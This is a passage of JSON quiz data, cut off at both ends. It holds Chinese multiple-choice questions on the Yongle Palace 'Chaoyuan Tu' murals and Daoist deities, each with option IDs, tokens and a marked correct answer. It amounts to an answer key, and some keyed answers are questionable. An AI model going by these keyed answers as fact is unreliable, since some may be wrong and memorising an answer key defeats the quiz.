04:51:26","update_time":"27/1/2021 04:51:26","status":"1"},{"questionId":"1901441704","questionIndex":"3","questionStem":"《朝元图》中没有以下哪位神仙?","options":"[{\"optionId\":\"Ks0Sx0BXjjmvJuVncKsVPKaDNXX6O4EUlyo\",\"optionDesc\":\"雷神\"},{\"optionId\":\"Ks0Sx0BXjjmvJuVncKsVP9J944sUhYEEe-g\",\"optionDesc\":\"齐天大圣\"},{\"optionId\":\"Ks0Sx0BXjjmvJuVncKsVPZ4gSdqWwI_2YT4\",\"optionDesc\":\"后土娘娘\"}]","questionToken":"Ks0Sx0BXjjmvJuU3Y-MOanEJl7eslG5yx4dg3o4E_MscpQW7PQiQqU8pcB3tUfv3-LaAk0XQA1RskSf_22cTkid1VpOEPA","correct":"{\"optionId\":\"Ks0Sx0BXjjmvJuVncKsVP9J944sUhYEEe-g\",\"optionDesc\":\"齐天大圣\"}","create_time":"27/1/2021 04:40:56","update_time":"27/1/2021 04:40:56","status":"1"},{"questionId":"1901441705","questionIndex":"1","questionStem":"《朝元图》中大约绘制了多少神仙?","options":"[{\"optionId\":\"Ks0Sx0BXjjmvJ-VncKsVPHDIzMfdyfVLl-RF\",\"optionDesc\":\"800位\"},{\"optionId\":\"Ks0Sx0BXjjmvJ-VncKsVPX4HrvxnzDEF-YZO\",\"optionDesc\":\"100位\"},{\"optionId\":\"Ks0Sx0BXjjmvJ-VncKsVPy6ext_oi01koRcS\",\"optionDesc\":\"300位\"}]","questionToken":"Ks0Sx0BXjjmvJ-U1Y-MOaieU1nvHn75aFHSk7XA-OrwwJHb6lm94QI7TI3MgVYptREfGRRiNG2Wupb4VBZ8juqACbmG_pA","correct":"{\"optionId\":\"Ks0Sx0BXjjmvJ-VncKsVPy6ext_oi01koRcS\",\"optionDesc\":\"300位\"}","create_time":"27/1/2021 04:40:13","update_time":"27/1/2021 04:40:13","status":"1"},{"questionId":"1901441706","questionIndex":"1","questionStem":"传说中玉皇大帝与王母娘娘是什么关系?","options":"[{\"optionId\":\"Ks0Sx0BXjjmvJOVncKsVP2ydvsHFzfnsRja9_A\",\"optionDesc\":\"同事关系\"},{\"optionId\":\"Ks0Sx0BXjjmvJOVncKsVPNhZZhCwsTQ6GV5bkg\",\"optionDesc\":\"兄妹关系\"},{\"optionId\":\"Ks0Sx0BXjjmvJOVncKsVPe883FpYFPuMwrjh8w\",\"optionDesc\":\"夫妻关系\"}]","questionToken":"Ks0Sx0BXjjmvJOU1Y-MObWO9JK2qFGiAR38tJJTPrFo7-cd_U2TTnugZ6l8OMjN4S_KiBeMvIqjMy5e5gamqqwiwgasQbQ","correct":"{\"optionId\":\"Ks0Sx0BXjjmvJOVncKsVP2ydvsHFzfnsRja9_A\",\"optionDesc\":\"同事关系\"}","create_time":"27/1/2021 04:51:29","update_time":"27/1/2021 04:51:29","status":"1"},{"questionId":"1901441707","questionIndex":"5","questionStem":"哪位天庭武将是“北方四圣”中的一员?","options":"[{\"optionId\":\"Ks0Sx0BXjjmvJeVncKsVPG_oEFjHx1PXJD3C\",\"optionDesc\":\"卷帘大将\"},{\"optionId\":\"Ks0Sx0BXjjmvJeVncKsVPVBBTxL49FIAhErm\",\"optionDesc\":\"托塔天王\"},{\"optionId\":\"Ks0Sx0BXjjmvJeVncKsVP7aWhuwHYImI8Yhi\",\"optionDesc\":\"天蓬元帅\"}]","questionToken":"Ks0Sx0BXjjmvJeUxY-MObTYaTXY7IiFIWWzHdAv0LZH44w2YNBUM_pBLXfqUkKyudmCXSt_sE1pqdzPoUEzmu1ods5Y05Q","correct":"{\"optionId\":\"Ks0Sx0BXjjmvJeVncKsVP7aWhuwHYImI8Yhi\",\"optionDesc\":\"天蓬元帅\"}","create_time":"27/1/2021 04:43:54","update_time":"27/1/2021 04:43:54","status":"1"},{"questionId":"1901441708","questionIndex":"4","questionStem":"《朝元图》中哪个神仙有六只眼睛?","options":"[{\"optionId\":\"Ks0Sx0BXjjmvKuVncKsVP4-nw4PtNKMsHlp3\",\"optionDesc\":\"仓颉\"},{\"optionId\":\"Ks0Sx0BXjjmvKuVncKsVPJDpHOdLv2cfBwQ9\",\"optionDesc\":\"紫光夫人\"},{\"optionId\":\"Ks0Sx0BXjjmvKuVncKsVPbJJZkBy3pJFptoz\",\"optionDesc\":\"孔子\"}]","questionToken":"Ks0Sx0BXjjmvKuUwY-MOasKwDIKi6F6ZgOH5dtJeOcsLpjvmPQyO7WQpkyAdFfcJXvVyZwKsymtGmJ8i7-OF-NaY1kcGCg","correct":"{\"optionId\":\"Ks0Sx0BXjjmvKuVncKsVP4-nw4PtNKMsHlp3\",\"optionDesc\":\"仓颉\"}","create_time":"27/1/2021 04:44:16","update_time":"27/1/2021 04:44:16","status":"1"},{"questionId":"1901441709","questionIndex":"1","questionStem":"《朝元图》中的财神是哪一位?","options":"[{\"optionId\":\"Ks0Sx0BXjjmvK-VncKsVPYRKc5S3RN6d4vzlZA\",\"optionDesc\":\"武财神关羽\"},{\"optionId\":\"Ks0Sx0BXjjmvK-VncKsVP75qR9gKnwmLmr0LDA\",\"optionDesc\":\"赵公明\"},{\"optionId\":\"Ks0Sx0BXjjmvK-VncKsVPMg-M_jgZIbIZYQGRQ\",\"optionDesc\":\"比干\"}]","questionToken":"Ks0Sx0BXjjmvK-U1Y-MOam062GXTq-n_3l5uUMFGXIrpmBWQ7lwR1IVf1KgLffmwHUfymyOD_3FXbUkDs4x6FpayMr2ACQ","correct":"{\"optionId\":\"Ks0Sx0BXjjmvK-VncKsVP75qR9gKnwmLmr0LDA\",\"optionDesc\":\"赵公明\"}","create_time":"27/1/2021 04:32:53","update_time":"27/1/2021 04:32:53","status":"1"},{"questionId":"1901441710","questionIndex":"3","questionStem":"传说中文昌帝君能够保佑什么?","options":"[{\"optionId\":\"Ks0Sx0BXjjmuIuVncKsVPfObyM8cfHzE7p5tuA\",\"optionDesc\":\"身体健康\"},{\"optionId\":\"Ks0Sx0BXjjmuIuVncKsVPwDx3KS2XnOOCm2rhg\",\"optionDesc\":\"功名利禄\"},{\"optionId\":\"Ks0Sx0BXjjmuIuVncKsVPDeMo62U1b0859pLDg\",\"optionDesc\":\"爱情婚姻\"}]","questionToken":"Ks0Sx0BXjjmuIuU3Y-MOahvFMpgUGD-HZhVnQw0nVghB3nmyUZ7vZHEzPGdpWwHtraj_xjQ7TwRILHgoHwUhrvjwojrCWg","correct":"{\"optionId\":\"Ks0Sx0BXjjmuIuVncKsVPwDx3KS2XnOOCm2rhg\",\"optionDesc\":\"功名利禄\"}","create_time":"27/1/2021 04:36:54","update_time":"27/1/2021 04:36:54","status":"1"},{"questionId":"1901441711","questionIndex":"3","questionStem":"哪个和太乙相关的神仙没有出现在朝元图中?","options":"[{\"optionId\":\"Ks0Sx0BXjjmuI-VncKsVP9FGjxJi6lSMAP9frQ\",\"optionDesc\":\"太乙真人\"},{\"optionId\":\"Ks0Sx0BXjjmuI-VncKsVPH3LLFcwcQb4dLhhfQ\",\"optionDesc\":\"太乙神\"},{\"optionId\":\"Ks0Sx0BXjjmuI-VncKsVPeu9YUZnlG-RRVi1-A\",\"optionDesc\":\"太乙救苦天尊\"}]","questionToken":"Ks0Sx0BXjjmuI-U3Y-MObXAc-NiXGbyfribzZ_0zpsaaoH-9TtsQjbbUvGRsgZ08MXpED7wx_1ZMpOmH7T6lx86_p3bF1A","correct":"{\"optionId\":\"Ks0Sx0BXjjmuI-VncKsVP9FGjxJi6lSMAP9frQ\",\"optionDesc\":\"太乙真人\"}","create_time":"27/1/2021 04:34:25","update_time":"27/1/2021 04:34:25","status":"1"},{"questionId":"1901441712","questionIndex":"5","questionStem":"福禄寿三星中长着硕大脑门的长者是?","options":"[{\"optionId\":\"Ks0Sx0BXjjmuIOVncKsVPY3Zwy9CA6qyCRuM\",\"optionDesc\":\"福星\"},{\"optionId\":\"Ks0Sx0BXjjmuIOVncKsVP0rrzA-eax904e_9\",\"optionDesc\":\"寿星\"},{\"optionId\":\"Ks0Sx0BXjjmuIOVncKsVPIBj5TGntSpDddnV\",\"optionDesc\":\"禄星\"}]","questionToken":"Ks0Sx0BXjjmuIOUxY-MObXikxUnE8jOhFQw_mgjTKmg0kOWMjxeOmg9IbR0fqdC5hQNti1hbBllyli68SCaiOkxhC5hxVQ","correct":"{\"optionId\":\"Ks0Sx0BXjjmuIOVncKsVP0rrzA-eax904e_9\",\"optionDesc\":\"寿星\"}","create_time":"27/1/2021 04:33:44","update_time":"27/1/2021 04:33:44","status":"1"},{"questionId":"1901441713","questionIndex":"3","questionStem":"以下哪个法器没有出现在《朝元图》壁画中?","options":"[{\"optionId\":\"Ks0Sx0BXjjmuIeVncKsVPxKmgYEj4pyfr80\",\"optionDesc\":\"轮盘\"},{\"optionId\":\"Ks0Sx0BXjjmuIeVncKsVPRI4URnfXhMB5OM\",\"optionDesc\":\"七宝炉\"},{\"optionId\":\"Ks0Sx0BXjjmuIeVncKsVPIk27JzT4s6rx-0\",\"optionDesc\":\"琵琶\"}]","questionToken":"Ks0Sx0BXjjmuIeU3Y-MOba3nZTwvt0PzFIUoxkInXnkx9-9ccPVVcoz-Vehrg2fXoBJKQfEvPFxTpa3UVZDyRmsY9lmwKw","correct":"{\"optionId\":\"Ks0Sx0BXjjmuIeVncKsVPxKmgYEj4pyfr80\",\"optionDesc\":\"轮盘\"}","create_time":"27/1/2021 04:51:12","update_time":"27/1/2021 04:51:12","status":"1"},{"questionId":"1901441714","questionIndex":"3","questionStem":"以下哪个神兽没有出现在《朝元图》壁画中?","options":"[{\"optionId\":\"Ks0Sx0BXjjmuJuVncKsVPUaeyg3nni-gQL6C\",\"optionDesc\":\"凤凰\"},{\"optionId\":\"Ks0Sx0BXjjmuJuVncKsVPxboESaPlnJx2HLl\",\"optionDesc\":\"麒麟\"},{\"optionId\":\"Ks0Sx0BXjjmuJuVncKsVPHvwSRMfCJ59QFgr\",\"optionDesc\":\"龙\"}]","questionToken":"Ks0Sx0BXjjmuJuU3Y-MObe8Eu8-2_2fAqTWgP6i6fsK4c9z73hVw8eSHl6oduHuJlLEFmlKetv2Dw-BMTra9jxjb-w-mdg","correct":"{\"optionId\":\"Ks0Sx0BXjjmuJuVncKsVPxboESaPlnJx2HLl\",\"optionDesc\":\"麒麟\"}","create_time":"27/1/2021 04:47:59","update_time":"27/1/2021 04:47:59","status":"1"},{"questionId":"1901441715","questionIndex":"3","questionStem":"《朝元图》八大主神中有几位女性主神?","options":"[{\"optionId\":\"Ks0Sx0BXjjmuJ-VncKsVP9EnqSrLZ9qH-xywrA\",\"optionDesc\":\"两位\"},{\"optionId\":\"Ks0Sx0BXjjmuJ-VncKsVPWcjAzeAgDN-u64EtA\",\"optionDesc\":\"一位\"},{\"optionId\":\"Ks0Sx0BXjjmuJ-VncKsVPKECW7oqSEMPE9DorQ\",\"optionDesc\":\"三位\"}]","questionToken":"Ks0Sx0BXjjmuJ-U3Y-MOanyAns5TTJSRauzj6F5VYmGEbntZh-NmAl_POZ76dAX349fkH8_-i-5bxVh94exvuBKFvPF4og","correct":"{\"optionId\":\"Ks0Sx0BXjjmuJ-VncKsVP9EnqSrLZ9qH-xywrA\",\"optionDesc\":\"两位\"}","create_time":"27/1/2021 04:44:19","update_time":"27/1/2021 04:44:19","status":"1"},{"questionId":"1901441716","questionIndex":"5","questionStem":"以下哪位不属于永乐宫《朝元图》八大主神?","options":"[{\"optionId\":\"Ks0Sx0BXjjmuJOVncKsVPX0VLaYTMYxxavqN\",\"optionDesc\":\"王母娘娘\"},{\"optionId\":\"Ks0Sx0BXjjmuJOVncKsVP26U2e6FEF_jDE59\",\"optionDesc\":\"月神\"},{\"optionId\":\"Ks0Sx0BXjjmuJOVncKsVPHkMRvcvItLmiTMf\",\"optionDesc\":\"后土娘娘\"}]","questionToken":"Ks0Sx0BXjjmuJOUxY-MOba4Xbwc_Rs0PFOQa5sD6LsCOzymh-cKElTy4tZxSbvYqTYJf4c2gHmIalUP1BlkRU1AEawSB3A","correct":"{\"optionId\":\"Ks0Sx0BXjjmuJOVncKsVP26U2e6FEF_jDE59\",\"optionDesc\":\"月神\"}","create_time":"27/1/2021 04:50:50","update_time":"27/1/2021 04:50:50","status":"1"},{"questionId":"1901441717","questionIndex":"2","questionStem":"永乐宫中的仙女(玉女)是通过什么命名的?","options":"[{\"optionId\":\"Ks0Sx0BXjjmuJeVncKsVPYHOWOjvEJpzG7Pd\",\"optionDesc\":\"她们的官职\"},{\"optionId\":\"Ks0Sx0BXjjmuJeVncKsVP8Kna_yJKy4KGclr\",\"optionDesc\":\"她们手上的宝物\"},{\"optionId\":\"Ks0Sx0BXjjmuJeVncKsVPM6zvWZ8tb3mMW7j\",\"optionDesc\":\"她们的头饰\"}]","questionToken":"Ks0Sx0BXjjmuJeU2Y-MOaph8C5S33R3Hh7jYe9tRzz6TZFKe6i9okrNhAQfw-hHjue-ook1HXh_XkCXv0jeV4iBBh5iiVA","correct":"{\"optionId\":\"Ks0Sx0BXjjmuJeVncKsVP8Kna_yJKy4KGclr\",\"optionDesc\":\"她们手上的宝物\"}","create_time":"27/1/2021 04:42:51","update_time":"27/1/2021 04:42:51","status":"1"},{"questionId":"1901441718","questionIndex":"3","questionStem":"永乐宫《朝元图》壁画中的两位前导仙官是?","options":"[{\"optionId\":\"Ks0Sx0BXjjmuKuVncKsVPL8pw9L4plaeKbPAvw\",\"optionDesc\":\"天蓬天猷\"},{\"optionId\":\"Ks0Sx0BXjjmuKuVncKsVPXFxD33dLNGzcU0LGg\",\"optionDesc\":\"哼哈二将\"},{\"optionId\":\"Ks0Sx0BXjjmuKuVncKsVP7-H9Lcyh3FQw-I-Vw\",\"optionDesc\":\"青龙白虎\"}]","questionToken":"Ks0Sx0BXjjmuKuU3Y-MObetPl-lkKA5JCUO-cVXcl50a4Dxmc4TZn6P0Aqw_R_qpKqBkT4zSe_SjSNeQva00G1cDXe0KDw","correct":"{\"optionId\":\"Ks0Sx0BXjjmuKuVncKsVP7-H9Lcyh3FQw-I-Vw\",\"optionDesc\":\"青龙白虎\"}","create_time":"27/1/2021 04:39:23","update_time":"27/1/2021 04:39:23","status":"1"},{"questionId":"1901441719","questionIndex":"1","questionStem":"哪位儒家人物出现在了永乐宫《朝元图》中?","options":"[{\"optionId\":\"Ks0Sx0BXjjmuK-VncKsVPIdQIHUw_WchQ7e1XA\",\"optionDesc\":\"孟子\"},{\"optionId\":\"Ks0Sx0BXjjmuK-VncKsVPxoQwMOTlmNNFtZ1Dw\",\"optionDesc\":\"孔子\"},{\"optionId\":\"Ks0Sx0BXjjmuK-VncKsVPd2B0m61EQPfesS7jw\",\"optionDesc\":\"董仲舒\"}]","questionToken":"Ks0Sx0BXjjmuK-U1Y-MObdrzw-4AA4uFroi5mrIvFkOD3GoA7pylN0Y-A8OnhWsevgrB0B7p17x4OxLQzjOtaZg3gIQCsQ","correct":"{\"optionId\":\"Ks0Sx0BXjjmuK-VncKsVPxoQwMOTlmNNFtZ1Dw\",\"optionDesc\":\"孔子\"}","create_time":"27/1/2021 03:36:31","update_time":"27/1/2021 03:36:31","status":"1"},{"questionId":"1901441720","questionIndex":"5","questionStem":"“北极四圣”中的谁成为了“大帝”?","options":"[{\"optionId\":\"Ks0Sx0BXjjmtIuVncKsVPKw9I1jHLE91UNs\",\"optionDesc\":\"黑煞真君\"},{\"optionId\":\"Ks0Sx0BXjjmtIuVncKsVPZVbap7pKmPg6RA\",\"optionDesc\":\"天蓬元帅\"},{\"optionId\":\"Ks0Sx0BXjjmtIuVncKsVP38HITTk8hJYFT0\",\"optionDesc\":\"真武真君\"}]","questionToken":"Ks0Sx0BXjjmtIuUxY-MOahS0F2WoqNHwxgKiqyqv0weWd3Jqf534ZRTzoilzdX82U-xiZnbRyyy062gp6Te5Kt5Bfv60KA","correct":"{\"optionId\":\"Ks0Sx0BXjjmtIuVncKsVP38HITTk8hJYFT0\",\"optionDesc\":\"真武真君\"}","create_time":"27/1/2021 04:40:57","update_time":"27/1/2021 04:40:57","status":"1"},{"questionId":"1901441721","questionIndex":"1","questionStem":"《朝元图》中王母娘娘头上的卦象是?","options":"[{\"optionId\":\"Ks0Sx0BXjjmtI-VncKsVP6pOHKJcyddo8rVc\",\"optionDesc\":\"坤\"},{\"optionId\":\"Ks0Sx0BXjjmtI-VncKsVPdxoH2vK515XecRO\",\"optionDesc\":\"A. 乾\"},{\"optionId\":\"Ks0Sx0BXjjmtI-VncKsVPEjU7h6f9ogcBErI\",\"optionDesc\":\"巽\"}]","questionToken":"Ks0Sx0BXjjmtI-U1Y-MObX80e9X0Hadx4R8yYUUO08_i2P4UoT-6K5xcdD8Yow7RrZ_EC4P10bvqMHE2GY-WaAPXlLh8VQ","correct":"{\"optionId\":\"Ks0Sx0BXjjmtI-VncKsVP6pOHKJcyddo8rVc\",\"optionDesc\":\"坤\"}","create_time":"27/1/2021 04:46:04","update_time":"27/1/2021 04:46:04","status":"1"},{"questionId":"1901441722","questionIndex":"5","questionStem":"\"一人得道鸡犬升天\"与哪位神仙的传说有关?","options":"[{\"optionId\":\"Ks0Sx0BXjjmtIOVncKsVPydm3kr-gZRLEWgA\",\"optionDesc\":\"玉皇大帝\"},{\"optionId\":\"Ks0Sx0BXjjmtIOVncKsVPCrqZYtL3wdGAsH-\",\"optionDesc\":\"太乙天尊\"},{\"optionId\":\"Ks0Sx0BXjjmtIOVncKsVPYmVeDhfCaoDyaOr\",\"optionDesc\":\"吕洞宾\"}]","questionToken":"Ks0Sx0BXjjmtIOUxY-MOauqcZPuFTkoA21h9B9u92-TQPxYHl0YxakFhpqRzOrcIpEO4dyCICpO67tNxv8v3gzoSEpk6mw","correct":"{\"optionId\":\"Ks0Sx0BXjjmtIOVncKsVPydm3kr-gZRLEWgA\",\"optionDesc\":\"玉皇大帝\"}","create_time":"27/1/2021 04:39:22","update_time":"27/1/2021 04:39:22","status":"1"},{"questionId":"1901441723","questionIndex":"1","questionStem":"下列哪个不是王母娘娘的称号?","options":"[{\"optionId\":\"Ks0Sx0BXjjmtIeVncKsVPF5YlHNxPJzOqwv_\",\"optionDesc\":\"金元圣母\"},{\"optionId\":\"Ks0Sx0BXjjmtIeVncKsVPTmwupfZ-2Vc7Itg\",\"optionDesc\":\"西王母\"},{\"optionId\":\"Ks0Sx0BXjjmtIeVncKsVPwgHp1zauhhyfCjF\",\"optionDesc\":\"后土皇地祇\"}]","questionToken":"Ks0Sx0BXjjmtIeU1Y-MObW1Jwjy2VOOm2PrNY4IzCSy-Mxdbx6GEoqpuAbGIetxwVzu8h7cd3Bfdawy56jmEYexqBI6Vzg","correct":"{\"optionId\":\"Ks0Sx0BXjjmtIeVncKsVPwgHp1zauhhyfCjF\",\"optionDesc\":\"后土皇地祇\"}","create_time":"27/1/2021 04:33:44","update_time":"27/1/2021 04:33:44","status":"1"},{"questionId":"1901441724","questionIndex":"1","questionStem":"传说中以下哪个方面不归王母娘娘掌管?","options":"[{\"optionId\":\"Ks0Sx0BXjjmtJuVncKsVPdNbOqh5_uhreYV_\",\"optionDesc\":\"仙女仙籍\"},{\"optionId\":\"Ks0Sx0BXjjmtJuVncKsVPI7aGctv11wan02x\",\"optionDesc\":\"长生不老药\"},{\"optionId\":\"Ks0Sx0BXjjmtJuVncKsVP7JdlYuoX_MqE8SU\",\"optionDesc\":\"女红\"}]","questionToken":"Ks0Sx0BXjjmtJuU1Y-MObbW-U5lsNIwXsMaGaZsxRmkiVIM2KofNM1sA39qGJERy7u-RTV_rHBXZEkVHwMCcl7sH-Rm6gg","correct":"{\"optionId\":\"Ks0Sx0BXjjmtJuVncKsVP7JdlYuoX_MqE8SU\",\"optionDesc\":\"女红\"}","create_time":"27/1/2021 04:48:37","update_time":"27/1/2021 04:48:37","status":"1"},{"questionId":"1901441725","questionIndex":"2","questionStem":"以下哪个组合不在《朝元图》中?","options":"[{\"optionId\":\"Ks0Sx0BXjjmtJ-VncKsVP3yODuScInsv0JQ\",\"optionDesc\":\"天龙八部\"},{\"optionId\":\"Ks0Sx0BXjjmtJ-VncKsVPL4V-ACY-HUUqxc\",\"optionDesc\":\"三十二帝君\"},{\"optionId\":\"Ks0Sx0BXjjmtJ-VncKsVPXOeDJBFfdivg9M\",\"optionDesc\":\"南斗六星\"}]","questionToken":"Ks0Sx0BXjjmtJ-U2Y-MOarse4qjCpK72FkIVH7SEQ4BvA52jQBOYQCJOJVeb0rJB88hE74BpQrxqE2p4_zsEwFDZnBlAuw","correct":"{\"optionId\":\"Ks0Sx0BXjjmtJ-VncKsVP3yODuScInsv0JQ\",\"optionDesc\":\"天龙八部\"}","create_time":"27/1/2021 04:48:47","update_time":"27/1/2021 04:48:47","status":"1"},{"questionId":"1901441726","questionIndex":"5","questionStem":"织女星位于二十八星宿中的哪个?","options":"[{\"optionId\":\"Ks0Sx0BXjjmtJOVncKsVPaM3NeGG1vThVnVs\",\"optionDesc\":\"斗宿\"},{\"optionId\":\"Ks0Sx0BXjjmtJOVncKsVPJ3XCOcXlbItYjNp\",\"optionDesc\":\"女宿\"},{\"optionId\":\"Ks0Sx0BXjjmtJOVncKsVP7NWlhKX3uylsmU4\",\"optionDesc\":\"牛宿\"}]","questionToken":"Ks0Sx0BXjjmtJOUxY-MObXQSv7PRyqZH5H0o4PhB3Ho6q8zxBbhdJmkLkfASkeZzjXm0ZsjyUfreSMR-JX8VY-lbW2V4MA","correct":"{\"optionId\":\"Ks0Sx0BXjjmtJOVncKsVP7NWlhKX3uylsmU4\",\"optionDesc\":\"牛宿\"}","create_time":"27/1/2021 04:49:00","update_time":"27/1/2021 04:49:00","status":"1"},{"questionId":"1901441727","questionIndex":"2","questionStem":"《朝元图》中有文曲星位于哪个星官组合中?","options":"[{\"optionId\":\"Ks0Sx0BXjjmtJeVncKsVPzs65AYgsQizpBXuGQ\",\"optionDesc\":\"北斗七星\"},{\"optionId\":\"Ks0Sx0BXjjmtJeVncKsVPZvEBENz9EsnawUkAQ\",\"optionDesc\":\"二十八星宿\"},{\"optionId\":\"Ks0Sx0BXjjmtJeVncKsVPF9d9WLNTiEz93-ebg\",\"optionDesc\":\"南斗六星\"}]","questionToken":"Ks0Sx0BXjjmtJeU2Y-MOas8VlXqvyl7JtU8joc8KBi3TFp_Ryq5oNGlH1Dne73BO5Ci4XJvuznZAjWyZe0PPeFa47QMKpQ","correct":"{\"optionId\":\"Ks0Sx0BXjjmtJeVncKsVPzs65AYgsQizpBXuGQ\",\"optionDesc\":\"北斗七星\"}","create_time":"27/1/2021 04:42:39","update_time":"27/1/2021 04:42:39","status":"1"},{"questionId":"1901441728","questionIndex":"2","questionStem":"永乐宫《朝元图》中金星拿的法器是?","options":"[{\"optionId\":\"Ks0Sx0BXjjmtKuVncKsVPE17J2f_lTd2mfBa\",\"optionDesc\":\"古筝\"},{\"optionId\":\"Ks0Sx0BXjjmtKuVncKsVP_DpaNTtP_2OGleH\",\"optionDesc\":\"琵琶\"},{\"optionId\":\"Ks0Sx0BXjjmtKuVncKsVPeCxa_OG4SIStsgq\",\"optionDesc\":\"笛子\"}]","questionToken":"Ks0Sx0BXjjmtKuU2Y-MOalC-7GtgSncco1F9lf5LKjGGIPFsktd-TDN-n7lGqwfzPdvSBOSumxdIEQRvLDFmyGeorkV8Lg","correct":"{\"optionId\":\"Ks0Sx0BXjjmtKuVncKsVP_DpaNTtP_2OGleH\",\"optionDesc\":\"琵琶\"}","create_time":"27/1/2021 04:49:35","update_time":"27/1/2021 04:49:35","status":"1"},{"questionId":"1901441729","questionIndex":"5","questionStem":"《朝元图》中雷公、电母、雨师属于?","options":"[{\"optionId\":\"Ks0Sx0BXjjmtK-VncKsVPQVRdoUCfmL8zC45\",\"optionDesc\":\"二十八星宿\"},{\"optionId\":\"Ks0Sx0BXjjmtK-VncKsVPGFE3vgKdmuK1VkU\",\"optionDesc\":\"十二元神\"},{\"optionId\":\"Ks0Sx0BXjjmtK-VncKsVPzzGiXkO5jNCVJIh\",\"optionDesc\":\"雷部诸神\"}]","questionToken":"Ks0Sx0BXjjmtK-UxY-MOagRLM1GI0gYBsaDCzAz1Rp-x5i-qaIpS1hDhRu4TbkomzkXjYhLDSlpvKo9pxWpeif1-UwQaAQ","correct":"{\"optionId\":\"Ks0Sx0BXjjmtK-VncKsVPzzGiXkO5jNCVJIh\",\"optionDesc\":\"雷部诸神\"}","create_time":"27/1/2021 04:43:52","update_time":"27/1/2021 04:43:52","status":"1"},{"questionId":"1901441730","questionIndex":"2","questionStem":"道教神话中,生下玉皇大帝的女神是?","options":"[{\"optionId\":\"Ks0Sx0BXjjmsIuVncKsVPG0JlKW5TVDz9dx9\",\"optionDesc\":\"后土娘娘\"},{\"optionId\":\"Ks0Sx0BXjjmsIuVncKsVP0PYP1YbDSBznz4F\",\"optionDesc\":\"紫光夫人\"},{\"optionId\":\"Ks0Sx0BXjjmsIuVncKsVPfsb5PhUko0tsa0g\",\"optionDesc\":\"王母娘娘\"}]","questionToken":"Ks0Sx0BXjjmsIuU2Y-MOakb1IFoLsbfvPh7BoPA_3-2e9zBw0EFd7Eg9GPPIEDcnW16I71rEPcVO68eHT0w3qzeDm1DPnA","correct":"{\"optionId\":\"Ks0Sx0BXjjmsIuVncKsVP0PYP1YbDSBznz4F\",\"optionDesc\":\"紫光夫人\"}","create_time":"27/1/2021 04:49:09","update_time":"27/1/2021 04:49:09","status":"1"},{"questionId":"1901441731","questionIndex":"3","questionStem":"《朝元图》中十二元神的职责是?","options":"[{\"optionId\":\"Ks0Sx0BXjjmsI-VncKsVPUDS5F1wBZIT\",\"optionDesc\":\"轮值守护不同山川\"},{\"optionId\":\"Ks0Sx0BXjjmsI-VncKsVPGqSqcnN45AO\",\"optionDesc\":\"轮值守护不同方位\"},{\"optionId\":\"Ks0Sx0BXjjmsI-VncKsVPyP3MnmLOVmm\",\"optionDesc\":\"轮值守护不同时辰\"}]","questionToken":"Ks0Sx0BXjjmsI-U3Y-MObRrm5m8DN-2e1D9kcrrFJYuQzb1g0h7SLu0CcP4l9q7_HFopl3-LPRv-VTcuZOvmqsLrzORXJA","correct":"{\"optionId\":\"Ks0Sx0BXjjmsI-VncKsVPyP3MnmLOVmm\",\"optionDesc\":\"轮值守护不同时辰\"}","create_time":"27/1/2021 04:39:43","update_time":"27/1/2021 04:39:43","status":"1"},{"questionId":"1901441732","questionIndex":"3","questionStem":"西游记中谁当过妖怪又作为神仙帮助过孙悟空","options":"[{\"optionId\":\"Ks0Sx0BXjjmsIOVncKsVPef7AQvMgFIbIqjJhw\",\"optionDesc\":\"昴日鸡\"},{\"optionId\":\"Ks0Sx0BXjjmsIOVncKsVPy-k32FCPswRUMpwqg\",\"optionDesc\":\"奎木狼\"},{\"optionId\":\"Ks0Sx0BXjjmsIOVncKsVPH4BdtRL-P0qwhc-Bw\",\"optionDesc\":\"角木蛟\"}]","questionToken":"Ks0Sx0BXjjmsIOU3Y-MOaoW-H20kBnczkoYV5WCx1l4OE986N266d5jUuUDM2fZyCDF-H9VnhqGbEMBhBPC0mPfNNdjLXA","correct":"{\"optionId\":\"Ks0Sx0BXjjmsIOVncKsVPy-k32FCPswRUMpwqg\",\"optionDesc\":\"奎木狼\"}","create_time":"27/1/2021 04:00:29","update_time":"27/1/2021 04:00:29","status":"1"},{"questionId":"1901441733","questionIndex":"1","questionStem":"“五岳四渎”以下哪条河不是“四渎”之一?","options":"[{\"optionId\":\"Ks0Sx0BXjjmsIeVncKsVPflZpFLxbFWX4XLNXg\",\"optionDesc\":\"淮河\"},{\"optionId\":\"Ks0Sx0BXjjmsIeVncKsVP1DlYEMUMrJt3r_d_g\",\"optionDesc\":\"珠江\"},{\"optionId\":\"Ks0Sx0BXjjmsIeVncKsVPHOjUbuBv2cOc9IKxw\",\"optionDesc\":\"济水\"}]","questionToken":"Ks0Sx0BXjjmsIeU1Y-MOasiZKc0ohbU1yeQzXAVJ9-v0PncqOJbk2xE7Eg1JZvWdNDUdx7Yi7W5Hd7HE7vKUPoFJvkzDfQ","correct":"{\"optionId\":\"Ks0Sx0BXjjmsIeVncKsVP1DlYEMUMrJt3r_d_g\",\"optionDesc\":\"珠江\"}","create_time":"27/1/2021 04:44:57","update_time":"27/1/2021 04:44:57","status":"1"},{"questionId":"1901441734","questionIndex":"1","questionStem":"《朝元图》为何会将孔子纳入道教神仙体系?","options":"[{\"optionId\":\"Ks0Sx0BXjjmsJuVncKsVPSnD77As3LgMvck\",\"optionDesc\":\"孔子当过道士\"},{\"optionId\":\"Ks0Sx0BXjjmsJuVncKsVP1aKVrvo_-g66B4\",\"optionDesc\":\"全真派主张三教合一\"},{\"optionId\":\"Ks0Sx0BXjjmsJuVncKsVPBwBOYmiHhEBXZw\",\"optionDesc\":\"孔子是老子的徒弟\"}]","questionToken":"Ks0Sx0BXjjmsJuU1Y-MObWoJjZ_XBm2I_sCwfDnHnUxS7KApkmhttNbKuY-nBKZpXimFKGd7yHvY7dROaQhR4d9mykrHqg","correct":"{\"optionId\":\"Ks0Sx0BXjjmsJuVncKsVP1aKVrvo_-g66B4\",\"optionDesc\":\"全真派主张三教合一\"}","create_time":"27/1/2021 04:41:03","update_time":"27/1/2021 